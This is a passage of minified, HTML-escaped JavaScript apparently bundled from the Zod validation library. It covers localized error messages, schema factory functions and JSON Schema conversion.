s=i.inclusive?&quot;&gt;=&quot;:&quot;&gt;&quot;,o=t(i.origin);return o?`Kéré ju: a ní láti jẹ́ pé ${i.origin} ${o.verb} ${s}${i.minimum} ${o.unit}`:`Kéré ju: a ní láti jẹ́ ${s}${i.minimum}`}case&quot;invalid_format&quot;:{const s=i;return s.format===&quot;starts_with&quot;?`Ọ̀rọ̀ aṣìṣe: gbọ́dọ̀ bẹ̀rẹ̀ pẹ̀lú &quot;${s.prefix}&quot;`:s.format===&quot;ends_with&quot;?`Ọ̀rọ̀ aṣìṣe: gbọ́dọ̀ parí pẹ̀lú &quot;${s.suffix}&quot;`:s.format===&quot;includes&quot;?`Ọ̀rọ̀ aṣìṣe: gbọ́dọ̀ ní &quot;${s.includes}&quot;`:s.format===&quot;regex&quot;?`Ọ̀rọ̀ aṣìṣe: gbọ́dọ̀ bá àpẹẹrẹ mu ${s.pattern}`:`Aṣìṣe: ${n[s.format]??i.format}`}case&quot;not_multiple_of&quot;:return`Nọ́mbà aṣìṣe: gbọ́dọ̀ jẹ́ èyà pípín ti ${i.divisor}`;case&quot;unrecognized_keys&quot;:return`Bọtìnì àìmọ̀: ${hr(i.keys,&quot;, &quot;)}`;case&quot;invalid_key&quot;:return`Bọtìnì aṣìṣe nínú ${i.origin}`;case&quot;invalid_union&quot;:return&quot;Ìbáwọlé aṣìṣe&quot;;case&quot;invalid_element&quot;:return`Iye aṣìṣe nínú ${i.origin}`;default:return&quot;Ìbáwọlé aṣìṣe&quot;}}};function FUe(){return{localeError:QUe()}}const nee=Object.freeze(Object.defineProperty({__proto__:null,ar:ZLe,az:XLe,be:tMe,bg:iMe,ca:sMe,cs:lMe,da:uMe,de:fMe,en:eee,eo:AMe,es:vMe,fa:bMe,fi:EMe,fr:IMe,frCA:NMe,he:BMe,hu:_Me,id:TMe,is:QMe,it:OMe,ja:MMe,ka:$Me,kh:qMe,km:tee,ko:VMe,lt:YMe,mk:JMe,ms:eUe,nl:rUe,no:iUe,ota:sUe,pl:uUe,ps:lUe,pt:fUe,ru:mUe,sl:gUe,sv:xUe,ta:yUe,th:wUe,tr:IUe,ua:NUe,uk:ree,ur:BUe,vi:_Ue,yo:FUe,zhCN:TUe,zhTW:PUe},Symbol.toStringTag,{value:&quot;Module&quot;}));var JF;const iee=Symbol(&quot;ZodOutput&quot;),aee=Symbol(&quot;ZodInput&quot;);class see{constructor(){this._map=new WeakMap,this._idmap=new Map}add(t,...r){const n=r[0];if(this._map.set(t,n),n&amp;&amp;typeof n==&quot;object&quot;&amp;&amp;&quot;id&quot;in n){if(this._idmap.has(n.id))throw new Error(`ID ${n.id} already exists in the registry`);this._idmap.set(n.id,t)}return this}clear(){return this._map=new WeakMap,this._idmap=new Map,this}remove(t){const r=this._map.get(t);return r&amp;&amp;typeof r==&quot;object&quot;&amp;&amp;&quot;id&quot;in r&amp;&amp;this._idmap.delete(r.id),this._map.delete(t),this}get(t){const r=t._zod.parent;if(r){const n={...this.get(r)??{}};delete n.id;const i={...n,...this._map.get(t)};return Object.keys(i).length?i:void 0}return this._map.get(t)}has(t){return this._map.has(t)}}function lk(){return new see}(JF=globalThis).__zod_globalRegistry??(JF.__zod_globalRegistry=lk());const Q0=globalThis.__zod_globalRegistry;function oee(e,t){return new e({type:&quot;string&quot;,...Ut(t)})}function lee(e,t){return new e({type:&quot;string&quot;,coerce:!0,...Ut(t)})}function ck(e,t){return new e({type:&quot;string&quot;,format:&quot;email&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function t4(e,t){return new e({type:&quot;string&quot;,format:&quot;guid&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function uk(e,t){return new e({type:&quot;string&quot;,format:&quot;uuid&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function dk(e,t){return new e({type:&quot;string&quot;,format:&quot;uuid&quot;,check:&quot;string_format&quot;,abort:!1,version:&quot;v4&quot;,...Ut(t)})}function fk(e,t){return new e({type:&quot;string&quot;,format:&quot;uuid&quot;,check:&quot;string_format&quot;,abort:!1,version:&quot;v6&quot;,...Ut(t)})}function hk(e,t){return new e({type:&quot;string&quot;,format:&quot;uuid&quot;,check:&quot;string_format&quot;,abort:!1,version:&quot;v7&quot;,...Ut(t)})}function KE(e,t){return new e({type:&quot;string&quot;,format:&quot;url&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function mk(e,t){return new e({type:&quot;string&quot;,format:&quot;emoji&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function pk(e,t){return new e({type:&quot;string&quot;,format:&quot;nanoid&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function gk(e,t){return new e({type:&quot;string&quot;,format:&quot;cuid&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function Ak(e,t){return new e({type:&quot;string&quot;,format:&quot;cuid2&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function xk(e,t){return new e({type:&quot;string&quot;,format:&quot;ulid&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function vk(e,t){return new e({type:&quot;string&quot;,format:&quot;xid&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function yk(e,t){return new e({type:&quot;string&quot;,format:&quot;ksuid&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function bk(e,t){return new e({type:&quot;string&quot;,format:&quot;ipv4&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function wk(e,t){return new e({type:&quot;string&quot;,format:&quot;ipv6&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function cee(e,t){return new e({type:&quot;string&quot;,format:&quot;mac&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function Ek(e,t){return new e({type:&quot;string&quot;,format:&quot;cidrv4&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function Ck(e,t){return new e({type:&quot;string&quot;,format:&quot;cidrv6&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function Ik(e,t){return new e({type:&quot;string&quot;,format:&quot;base64&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function jk(e,t){return new e({type:&quot;string&quot;,format:&quot;base64url&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function Nk(e,t){return new e({type:&quot;string&quot;,format:&quot;e164&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}function Sk(e,t){return new e({type:&quot;string&quot;,format:&quot;jwt&quot;,check:&quot;string_format&quot;,abort:!1,...Ut(t)})}const uee={Any:null,Minute:-1,Second:0,Millisecond:3,Microsecond:6};function dee(e,t){return new e({type:&quot;string&quot;,format:&quot;datetime&quot;,check:&quot;string_format&quot;,offset:!1,local:!1,precision:null,...Ut(t)})}function fee(e,t){return new e({type:&quot;string&quot;,format:&quot;date&quot;,check:&quot;string_format&quot;,...Ut(t)})}function hee(e,t){return new e({type:&quot;string&quot;,format:&quot;time&quot;,check:&quot;string_format&quot;,precision:null,...Ut(t)})}function mee(e,t){return new e({type:&quot;string&quot;,format:&quot;duration&quot;,check:&quot;string_format&quot;,...Ut(t)})}function pee(e,t){return new e({type:&quot;number&quot;,checks:[],...Ut(t)})}function gee(e,t){return new e({type:&quot;number&quot;,coerce:!0,checks:[],...Ut(t)})}function Aee(e,t){return new e({type:&quot;number&quot;,check:&quot;number_format&quot;,abort:!1,format:&quot;safeint&quot;,...Ut(t)})}function xee(e,t){return new e({type:&quot;number&quot;,check:&quot;number_format&quot;,abort:!1,format:&quot;float32&quot;,...Ut(t)})}function vee(e,t){return new e({type:&quot;number&quot;,check:&quot;number_format&quot;,abort:!1,format:&quot;float64&quot;,...Ut(t)})}function yee(e,t){return new e({type:&quot;number&quot;,check:&quot;number_format&quot;,abort:!1,format:&quot;int32&quot;,...Ut(t)})}function bee(e,t){return new e({type:&quot;number&quot;,check:&quot;number_format&quot;,abort:!1,format:&quot;uint32&quot;,...Ut(t)})}function wee(e,t){return new e({type:&quot;boolean&quot;,...Ut(t)})}function Eee(e,t){return new e({type:&quot;boolean&quot;,coerce:!0,...Ut(t)})}function Cee(e,t){return new e({type:&quot;bigint&quot;,...Ut(t)})}function Iee(e,t){return new e({type:&quot;bigint&quot;,coerce:!0,...Ut(t)})}function jee(e,t){return new e({type:&quot;bigint&quot;,check:&quot;bigint_format&quot;,abort:!1,format:&quot;int64&quot;,...Ut(t)})}function Nee(e,t){return new e({type:&quot;bigint&quot;,check:&quot;bigint_format&quot;,abort:!1,format:&quot;uint64&quot;,...Ut(t)})}function See(e,t){return new e({type:&quot;symbol&quot;,...Ut(t)})}function Bee(e,t){return new e({type:&quot;undefined&quot;,...Ut(t)})}function kee(e,t){return new e({type:&quot;null&quot;,...Ut(t)})}function _ee(e){return new e({type:&quot;any&quot;})}function Dee(e){return new e({type:&quot;unknown&quot;})}function Tee(e,t){return new e({type:&quot;never&quot;,...Ut(t)})}function Ree(e,t){return new e({type:&quot;void&quot;,...Ut(t)})}function Pee(e,t){return new e({type:&quot;date&quot;,...Ut(t)})}function Qee(e,t){return new e({type:&quot;date&quot;,coerce:!0,...Ut(t)})}function Fee(e,t){return new e({type:&quot;nan&quot;,...Ut(t)})}function Mm(e,t){return new ek({check:&quot;less_than&quot;,...Ut(t),value:e,inclusive:!1})}function i0(e,t){return new ek({check:&quot;less_than&quot;,...Ut(t),value:e,inclusive:!0})}function Um(e,t){return new tk({check:&quot;greater_than&quot;,...Ut(t),value:e,inclusive:!1})}function Ac(e,t){return new tk({check:&quot;greater_than&quot;,...Ut(t),value:e,inclusive:!0})}function Bk(e){return Um(0,e)}function kk(e){return Mm(0,e)}function _k(e){return i0(0,e)}function Dk(e){return Ac(0,e)}function D1(e,t){return new bJ({check:&quot;multiple_of&quot;,...Ut(t),value:e})}function Xy(e,t){return new CJ({check:&quot;max_size&quot;,...Ut(t),maximum:e})}function T1(e,t){return new IJ({check:&quot;min_size&quot;,...Ut(t),minimum:e})}function YE(e,t){return new jJ({check:&quot;size_equals&quot;,...Ut(t),size:e})}function e2(e,t){return new NJ({check:&quot;max_length&quot;,...Ut(t),maximum:e})}function Bg(e,t){return new SJ({check:&quot;min_length&quot;,...Ut(t),minimum:e})}function t2(e,t){return new BJ({check:&quot;length_equals&quot;,...Ut(t),length:e})}function ZE(e,t){return new kJ({check:&quot;string_format&quot;,format:&quot;regex&quot;,...Ut(t),pattern:e})}function JE(e){return new _J({check:&quot;string_format&quot;,format:&quot;lowercase&quot;,...Ut(e)})}function XE(e){return new DJ({check:&quot;string_format&quot;,format:&quot;uppercase&quot;,...Ut(e)})}function eC(e,t){return new TJ({check:&quot;string_format&quot;,format:&quot;includes&quot;,...Ut(t),includes:e})}function tC(e,t){return new RJ({check:&quot;string_format&quot;,format:&quot;starts_with&quot;,...Ut(t),prefix:e})}function rC(e,t){return new PJ({check:&quot;string_format&quot;,format:&quot;ends_with&quot;,...Ut(t),suffix:e})}function Tk(e,t,r){return new QJ({check:&quot;property&quot;,property:e,schema:t,...Ut(r)})}function nC(e,t){return new FJ({check:&quot;mime_type&quot;,mime:e,...Ut(t)})}function dh(e){return new OJ({check:&quot;overwrite&quot;,tx:e})}function iC(e){return dh(t=&gt;t.normalize(e))}function aC(){return dh(e=&gt;e.trim())}function sC(){return dh(e=&gt;e.toLowerCase())}function oC(){return dh(e=&gt;e.toUpperCase())}function lC(){return dh(e=&gt;AZ(e))}function Oee(e,t,r){return new e({type:&quot;array&quot;,element:t,...Ut(r)})}function OUe(e,t,r){return new e({type:&quot;union&quot;,options:t,...Ut(r)})}function LUe(e,t,r){return new e({type:&quot;union&quot;,options:t,inclusive:!1,...Ut(r)})}function MUe(e,t,r,n){return new e({type:&quot;union&quot;,options:r,discriminator:t,...Ut(n)})}function UUe(e,t,r){return new e({type:&quot;intersection&quot;,left:t,right:r})}function zUe(e,t,r,n){const i=r instanceof Dn,s=i?n:r,o=i?r:null;return new e({type:&quot;tuple&quot;,items:t,rest:o,...Ut(s)})}function $Ue(e,t,r,n){return new e({type:&quot;record&quot;,keyType:t,valueType:r,...Ut(n)})}function HUe(e,t,r,n){return new e({type:&quot;map&quot;,keyType:t,valueType:r,...Ut(n)})}function qUe(e,t,r){return new e({type:&quot;set&quot;,valueType:t,...Ut(r)})}function GUe(e,t,r){const n=Array.isArray(t)?Object.fromEntries(t.map(i=&gt;[i,i])):t;return new e({type:&quot;enum&quot;,entries:n,...Ut(r)})}function VUe(e,t,r){return new e({type:&quot;enum&quot;,entries:t,...Ut(r)})}function WUe(e,t,r){return new e({type:&quot;literal&quot;,values:Array.isArray(t)?t:[t],...Ut(r)})}function Lee(e,t){return new e({type:&quot;file&quot;,...Ut(t)})}function KUe(e,t){return new e({type:&quot;transform&quot;,transform:t})}function YUe(e,t){return new e({type:&quot;optional&quot;,innerType:t})}function ZUe(e,t){return new e({type:&quot;nullable&quot;,innerType:t})}function JUe(e,t,r){return new e({type:&quot;default&quot;,innerType:t,get defaultValue(){return typeof r==&quot;function&quot;?r():qE(r)}})}function XUe(e,t,r){return new e({type:&quot;nonoptional&quot;,innerType:t,...Ut(r)})}function eze(e,t){return new e({type:&quot;success&quot;,innerType:t})}function tze(e,t,r){return new e({type:&quot;catch&quot;,innerType:t,catchValue:typeof r==&quot;function&quot;?r:()=&gt;r})}function rze(e,t,r){return new e({type:&quot;pipe&quot;,in:t,out:r})}function nze(e,t){return new e({type:&quot;readonly&quot;,innerType:t})}function ize(e,t,r){return new e({type:&quot;template_literal&quot;,parts:t,...Ut(r)})}function aze(e,t){return new e({type:&quot;lazy&quot;,getter:t})}function sze(e,t){return new e({type:&quot;promise&quot;,innerType:t})}function Mee(e,t,r){const n=Ut(r);return n.abort??(n.abort=!0),new e({type:&quot;custom&quot;,check:&quot;custom&quot;,fn:t,...n})}function Uee(e,t,r){return new e({type:&quot;custom&quot;,check:&quot;custom&quot;,fn:t,...Ut(r)})}function zee(e){const t=$ee(r=&gt;(r.addIssue=n=&gt;{if(typeof n==&quot;string&quot;)r.issues.push(k1(n,r.value,t._zod.def));else{const i=n;i.fatal&amp;&amp;(i.continue=!1),i.code??(i.code=&quot;custom&quot;),i.input??(i.input=r.value),i.inst??(i.inst=t),i.continue??(i.continue=!t._zod.def.abort),r.issues.push(k1(i))}},e(r.value,r)));return t}function $ee(e,t){const r=new Ja({check:&quot;custom&quot;,...Ut(t)});return r._zod.check=e,r}function Hee(e){const t=new Ja({check:&quot;describe&quot;});return t._zod.onattach=[r=&gt;{const n=Q0.get(r)??{};Q0.add(r,{...n,description:e})}],t._zod.check=()=&gt;{},t}function qee(e){const t=new Ja({check:&quot;meta&quot;});return t._zod.onattach=[r=&gt;{const n=Q0.get(r)??{};Q0.add(r,{...n,...e})}],t._zod.check=()=&gt;{},t}function Gee(e,t){const r=Ut(t);let n=r.truthy??[&quot;true&quot;,&quot;1&quot;,&quot;yes&quot;,&quot;on&quot;,&quot;y&quot;,&quot;enabled&quot;],i=r.falsy??[&quot;false&quot;,&quot;0&quot;,&quot;no&quot;,&quot;off&quot;,&quot;n&quot;,&quot;disabled&quot;];r.case!==&quot;sensitive&quot;&amp;&amp;(n=n.map(A=&gt;typeof A==&quot;string&quot;?A.toLowerCase():A),i=i.map(A=&gt;typeof A==&quot;string&quot;?A.toLowerCase():A));const s=new Set(n),o=new Set(i),l=e.Codec??ok,c=e.Boolean??ik,d=e.String??Jy,u=new d({type:&quot;string&quot;,error:r.error}),h=new c({type:&quot;boolean&quot;,error:r.error}),p=new l({type:&quot;pipe&quot;,in:u,out:h,transform:((A,y)=&gt;{let v=A;return r.case!==&quot;sensitive&quot;&amp;&amp;(v=v.toLowerCase()),s.has(v)?!0:o.has(v)?!1:(y.issues.push({code:&quot;invalid_value&quot;,expected:&quot;stringbool&quot;,values:[...s,...o],input:y.value,inst:p,continue:!1}),{})}),reverseTransform:((A,y)=&gt;A===!0?n[0]||&quot;true&quot;:i[0]||&quot;false&quot;),error:r.error});return p}function r2(e,t,r,n={}){const i=Ut(n),s={...Ut(n),check:&quot;string_format&quot;,type:&quot;string&quot;,format:t,fn:typeof r==&quot;function&quot;?r:l=&gt;r.test(l),...i};return r instanceof RegExp&amp;&amp;(s.pattern=r),new e(s)}function R1(e){let t=e?.target??&quot;draft-2020-12&quot;;return t===&quot;draft-4&quot;&amp;&amp;(t=&quot;draft-04&quot;),t===&quot;draft-7&quot;&amp;&amp;(t=&quot;draft-07&quot;),{processors:e.processors??{},metadataRegistry:e?.metadata??Q0,target:t,unrepresentable:e?.unrepresentable??&quot;throw&quot;,override:e?.override??(()=&gt;{}),io:e?.io??&quot;output&quot;,counter:0,seen:new Map,cycles:e?.cycles??&quot;ref&quot;,reused:e?.reused??&quot;inline&quot;,external:e?.external??void 0}}function ha(e,t,r={path:[],schemaPath:[]}){var n;const i=e._zod.def,s=t.seen.get(e);if(s)return s.count++,r.schemaPath.includes(e)&amp;&amp;(s.cycle=r.path),s.schema;const o={schema:{},count:1,cycle:void 0,path:r.path};t.seen.set(e,o);const l=e._zod.toJSONSchema?.();if(l)o.schema=l;else{const u={...r,schemaPath:[...r.schemaPath,e],path:r.path},h=e._zod.parent;if(h)o.ref=h,ha(h,t,u),t.seen.get(h).isParent=!0;else if(e._zod.processJSONSchema)e._zod.processJSONSchema(t,o.schema,u);else{const p=o.schema,A=t.processors[i.type];if(!A)throw new Error(`[toJSONSchema]: Non-representable type encountered: ${i.type}`);A(e,t,p,u)}}const c=t.metadataRegistry.get(e);return c&amp;&amp;Object.assign(o.schema,c),t.io===&quot;input&quot;&amp;&amp;zl(e)&amp;&amp;(delete o.schema.examples,delete o.schema.default),t.io===&quot;input&quot;&amp;&amp;o.schema._prefault&amp;&amp;((n=o.schema).default??(n.default=o.schema._prefault)),delete o.schema._prefault,t.seen.get(e).schema}function P1(e,t){const r=e.seen.get(t);if(!r)throw new Error(&quot;Unprocessed schema. This is a bug in Zod.&quot;);const n=s=&gt;{const o=e.target===&quot;draft-2020-12&quot;?&quot;$defs&quot;:&quot;definitions&quot;;if(e.external){const u=e.external.registry.get(s[0])?.id,h=e.external.uri??(A=&gt;A);if(u)return{ref:h(u)};const p=s[1].defId??s[1].schema.id??`schema${e.counter++}`;return s[1].defId=p,{defId:p,ref:`${h(&quot;__shared&quot;)}#/${o}/${p}`}}if(s[1]===r)return{ref:&quot;#&quot;};const c=`#/${o}/`,d=s[1].schema.id??`__schema${e.counter++}`;return{defId:d,ref:c+d}},i=s=&gt;{if(s[1].schema.$ref)return;const o=s[1],{ref:l,defId:c}=n(s);o.def={...o.schema},c&amp;&amp;(o.defId=c);const d=o.schema;for(const u in d)delete d[u];d.$ref=l};if(e.cycles===&quot;throw&quot;)for(const s of e.seen.entries()){const o=s[1];if(o.cycle)throw new Error(`Cycle detected: #/${o.cycle?.join(&quot;/&quot;)}/&lt;root&gt;

Set the \`cycles\` parameter to \`&quot;ref&quot;\` to resolve cyclical schemas with defs.`)}for(const s of e.seen.entries()){const o=s[1];if(t===s[0]){i(s);continue}if(e.external){const c=e.external.registry.get(s[0])?.id;if(t!==s[0]&amp;&amp;c){i(s);continue}}if(e.metadataRegistry.get(s[0])?.id){i(s);continue}if(o.cycle){i(s);continue}if(o.count&gt;1&amp;&amp;e.reused===&quot;ref&quot;){i(s);continue}}}function Q1(e,t){const r=e.seen.get(t);if(!r)throw new Error(&quot;Unprocessed schema. This is a bug in Zod.&quot;);const n=o=&gt;{const l=e.seen.get(o),c=l.def??l.schema,d={...c};if(l.ref===null)return;const u=l.ref;if(l.ref=null,u){n(u);const h=e.seen.get(u).schema;h.$ref&amp;&amp;(e.target===&quot;draft-07&quot;||e.target===&quot;draft-04&quot;||e.target===&quot;openapi-3.0&quot;)?(c.allOf=c.allOf??[],c.allOf.push(h)):(Object.assign(c,h),Object.assign(c,d))}l.isParent||e.override({zodSchema:o,jsonSchema:c,path:l.path??[]})};for(const o of[...e.seen.entries()].reverse())n(o[0]);const i={};if(e.target===&quot;draft-2020-12&quot;?i.$schema=&quot;https://json-schema.org/draft/2020-12/schema&quot;:e.target===&quot;draft-07&quot;?i.$schema=&quot;http://json-schema.org/draft-07/schema#&quot;:e.target===&quot;draft-04&quot;?i.$schema=&quot;http://json-schema.org/draft-04/schema#&quot;:e.target,e.external?.uri){const o=e.external.registry.get(t)?.id;if(!o)throw new Error(&quot;Schema is missing an `id` property&quot;);i.$id=e.external.uri(o)}Object.assign(i,r.def??r.schema);const s=e.external?.defs??{};for(const o of e.seen.entries()){const l=o[1];l.def&amp;&amp;l.defId&amp;&amp;(s[l.defId]=l.def)}e.external||Object.keys(s).length&gt;0&amp;&amp;(e.target===&quot;draft-2020-12&quot;?i.$defs=s:i.definitions=s);try{const o=JSON.parse(JSON.stringify(i));return Object.defineProperty(o,&quot;~standard&quot;,{value:{...t[&quot;~standard&quot;],jsonSchema:{input:Uv(t,&quot;input&quot;),output:Uv(t,&quot;output&quot;)}},enumerable:!1,writable:!1}),o}catch{throw new Error(&quot;Error converting schema to JSON.&quot;)}}function zl(e,t){const r=t??{seen:new Set};if(r.seen.has(e))return!1;r.seen.add(e);const n=e._zod.def;if(n.type===&quot;transform&quot;)return!0;if(n.type===&quot;array&quot;)return zl(n.element,r);if(n.type===&quot;set&quot;)return zl(n.valueType,r);if(n.type===&quot;lazy&quot;)return zl(n.getter(),r);if(n.type===&quot;promise&quot;||n.type===&quot;optional&quot;||n.type===&quot;nonoptional&quot;||n.type===&quot;nullable&quot;||n.type===&quot;readonly&quot;||n.type===&quot;default&quot;||n.type===&quot;prefault&quot;)return zl(n.innerType,r);if(n.type===&quot;intersection&quot;)return zl(n.left,r)||zl(n.right,r);if(n.type===&quot;record&quot;||n.type===&quot;map&quot;)return zl(n.keyType,r)||zl(n.valueType,r);if(n.type===&quot;pipe&quot;)return zl(n.in,r)||zl(n.out,r);if(n.type===&quot;object&quot;){for(const i in n.shape)if(zl(n.shape[i],r))return!0;return!1}if(n.type===&quot;union&quot;){for(const i of n.options)if(zl(i,r))return!0;return!1}if(n.type===&quot;tuple&quot;){for(const i of n.items)if(zl(i,r))return!0;return!!(n.rest&amp;&amp;zl(n.rest,r))}return!1}const Vee=(e,t={})=&gt;r=&gt;{const n=R1({...r,processors:t});return ha(e,n),P1(n,e),Q1(n,e)},Uv=(e,t)=&gt;r=&gt;{const{libraryOptions:n,target:i}=r??{},s=R1({...n??{},target:i,io:t,processors:{}});return ha(e,s),P1(s,e),Q1(s,e)},oze={guid:&quot;uuid&quot;,url:&quot;uri&quot;,datetime:&quot;date-time&quot;,json_string:&quot;json-string&quot;,regex:&quot;&quot;},Wee=(e,t,r,n)=&gt;{const i=r;i.type=&quot;string&quot;;const{minimum:s,maximum:o,format:l,patterns:c,contentEncoding:d}=e._zod.bag;if(typeof s==&quot;number&quot;&amp;&amp;(i.minLength=s),typeof o==&quot;number&quot;&amp;&amp;(i.maxLength=o),l&amp;&amp;(i.format=oze[l]??l,i.format===&quot;&quot;&amp;&amp;delete i.format),d&amp;&amp;(i.contentEncoding=d),c&amp;&amp;c.size&gt;0){const u=[...c];u.length===1?i.pattern=u[0].source:u.length&gt;1&amp;&amp;(i.allOf=[...u.map(h=&gt;({...t.target===&quot;draft-07&quot;||t.target===&quot;draft-04&quot;||t.target===&quot;openapi-3.0&quot;?{type:&quot;string&quot;}:{},pattern:h.source}))])}},Kee=(e,t,r,n)=&gt;{const i=r,{minimum:s,maximum:o,format:l,multipleOf:c,exclusiveMaximum:d,exclusiveMinimum:u}=e._zod.bag;typeof l==&quot;string&quot;&amp;&amp;l.includes(&quot;int&quot;)?i.type=&quot;integer&quot;:i.type=&quot;number&quot;,typeof u==&quot;number&quot;&amp;&amp;(t.target===&quot;draft-04&quot;||t.target===&quot;openapi-3.0&quot;?(i.minimum=u,i.exclusiveMinimum=!0):i.exclusiveMinimum=u),typeof s==&quot;number&quot;&amp;&amp;(i.minimum=s,typeof u==&quot;number&quot;&amp;&amp;t.target!==&quot;draft-04&quot;&amp;&amp;(u&gt;=s?delete i.minimum:delete i.exclusiveMinimum)),typeof d==&quot;number&quot;&amp;&amp;(t.target===&quot;draft-04&quot;||t.target===&quot;openapi-3.0&quot;?(i.maximum=d,i.exclusiveMaximum=!0):i.exclusiveMaximum=d),typeof o==&quot;number&quot;&amp;&amp;(i.maximum=o,typeof d==&quot;number&quot;&amp;&amp;t.target!==&quot;draft-04&quot;&amp;&amp;(d&lt;=o?delete i.maximum:delete i.exclusiveMaximum)),typeof c==&quot;number&quot;&amp;&amp;(i.multipleOf=c)},Yee=(e,t,r,n)=&gt;{r.type=&quot;boolean&quot;},Zee=(e,t,r,n)=&gt;{if(t.unrepresentable===&quot;throw&quot;)throw new Error(&quot;BigInt cannot be represented in JSON Schema&quot;)},Jee=(e,t,r,n)=&gt;{if(t.unrepresentable===&quot;throw&quot;)throw new Error(&quot;Symbols cannot be represented in JSON Schema&quot;)},Xee=(e,t,r,n)=&gt;{t.target===&quot;openapi-3.0&quot;?(r.type=&quot;string&quot;,r.nullable=!0,r.enum=[null]):r.type=&quot;null&quot;},ete=(e,t,r,n)=&gt;{if(t.unrepresentable===&quot;throw&quot;)throw new Error(&quot;Undefined cannot be represented in JSON Schema&quot;)},tte=(e,t,r,n)=&gt;{if(t.unrepresentable===&quot;throw&quot;)throw new Error(&quot;Void cannot be represented in JSON Schema&quot;)},rte=(e,t,r,n)=&gt;{r.not={}},nte=(e,t,r,n)=&gt;{},ite=(e,t,r,n)=&gt;{},ate=(e,t,r,n)=&gt;{if(t.unrepresentable===&quot;throw&quot;)throw new Error(&quot;Date cannot be represented in JSON Schema&quot;)},ste=(e,t,r,n)=&gt;{const i=e._zod.def,s=L8(i.entries);s.every(o=&gt;typeof o==&quot;number&quot;)&amp;&amp;(r.type=&quot;number&quot;),s.every(o=&gt;typeof o==&quot;string&quot;)&amp;&amp;(r.type=&quot;string&quot;),r.enum=s},ote=(e,t,r,n)=&gt;{const i=e._zod.def,s=[];for(const o of i.values)if(o===void 0){if(t.unrepresentable===&quot;throw&quot;)throw new Error(&quot;Literal `undefined` cannot be represented in JSON Schema&quot;)}else if(typeof o==&quot;bigint&quot;){if(t.unrepresentable===&quot;throw&quot;)throw new Error(&quot;BigInt literals cannot be represented in JSON Schema&quot;);s.push(Number(o))}else s.push(o);if(s.length!==0)if(s.length===1){const o=s[0];r.type=o===null?&quot;null&quot;:typeof o,t.target===&quot;draft-04&quot;||t.target===&quot;openapi-3.0&quot;?r.enum=[o]:r.const=o}else s.every(o=&gt;typeof o==&quot;number&quot;)&amp;&amp;(r.type=&quot;number&quot;),s.every(o=&gt;typeof o==&quot;string&quot;)&amp;&amp;(r.type=&quot;string&quot;),s.every(o=&gt;typeof o==&quot;boolean&quot;)&amp;&amp;(r.type=&quot;boolean&quot;),s.every(o=&gt;o===null)&amp;&amp;(r.type=&quot;null&quot;),r.enum=s},lte=(e,t,r,n)=&gt;{if(t.unrepresentable===&quot;throw&quot;)throw new Error(&quot;NaN cannot be represented in JSON Schema&quot;)},cte=(e,t,r,n)=&gt;{const i=r,s=e._zod.pattern;if(!s)throw new Error(&quot;Pattern not found in template literal&quot;);i.type=&quot;string&quot;,i.pattern=s.source},ute=(e,t,r,n)=&gt;{const i=r,s={type:&quot;string&quot;,format:&quot;binary&quot;,contentEncoding:&quot;binary&quot;},{minimum:o,maximum:l,mime:c}=e._zod.bag;o!==void 0&amp;&amp;(s.minLength=o),l!==void 0&amp;&amp;(s.maxLength=l),c?c.length===1?(s.contentMediaType=c[0],Object.assign(i,s)):i.anyOf=c.map(d=&gt;({...s,contentMediaType:d})):Object.assign(i,s)},dte=(e,t,r,n)=&gt;{r.type=&quot;boolean&quot;},fte=(e,t,r,n)=&gt;{if(t.unrepresentable===&quot;throw&quot;)throw new Error(&quot;Custom types cannot be represented in JSON Schema&quot;)},hte=(e,t,r,n)=&gt;{if(t.unrepresentable===&quot;throw&quot;)throw new Error(&quot;Function types cannot be represented in JSON Schema&quot;)},mte=(e,t,r,n)=&gt;{if(t.unrepresentable===&quot;throw&quot;)throw new Error(&quot;Transforms cannot be represented in JSON Schema&quot;)},pte=(e,t,r,n)=&gt;{if(t.unrepresentable===&quot;throw&quot;)throw new Error(&quot;Map cannot be represented in JSON Schema&quot;)},gte=(e,t,r,n)=&gt;{if(t.unrepresentable===&quot;throw&quot;)throw new Error(&quot;Set cannot be represented in JSON Schema&quot;)},Ate=(e,t,r,n)=&gt;{const i=r,s=e._zod.def,{minimum:o,maximum:l}=e._zod.bag;typeof o==&quot;number&quot;&amp;&amp;(i.minItems=o),typeof l==&quot;number&quot;&amp;&amp;(i.maxItems=l),i.type=&quot;array&quot;,i.items=ha(s.element,t,{...n,path:[...n.path,&quot;items&quot;]})},xte=(e,t,r,n)=&gt;{const i=r,s=e._zod.def;i.type=&quot;object&quot;,i.properties={};const o=s.shape;for(const d in o)i.properties[d]=ha(o[d],t,{...n,path:[...n.path,&quot;properties&quot;,d]});const l=new Set(Object.keys(o)),c=new Set([...l].filter(d=&gt;{const u=s.shape[d]._zod;return t.io===&quot;input&quot;?u.optin===void 0:u.optout===void 0}));c.size&gt;0&amp;&amp;(i.required=Array.from(c)),s.catchall?._zod.def.type===&quot;never&quot;?i.additionalProperties=!1:s.catchall?s.catchall&amp;&amp;(i.additionalProperties=ha(s.catchall,t,{...n,path:[...n.path,&quot;additionalProperties&quot;]})):t.io===&quot;output&quot;&amp;&amp;(i.additionalProperties=!1)},Rk=(e,t,r,n)=&gt;{const 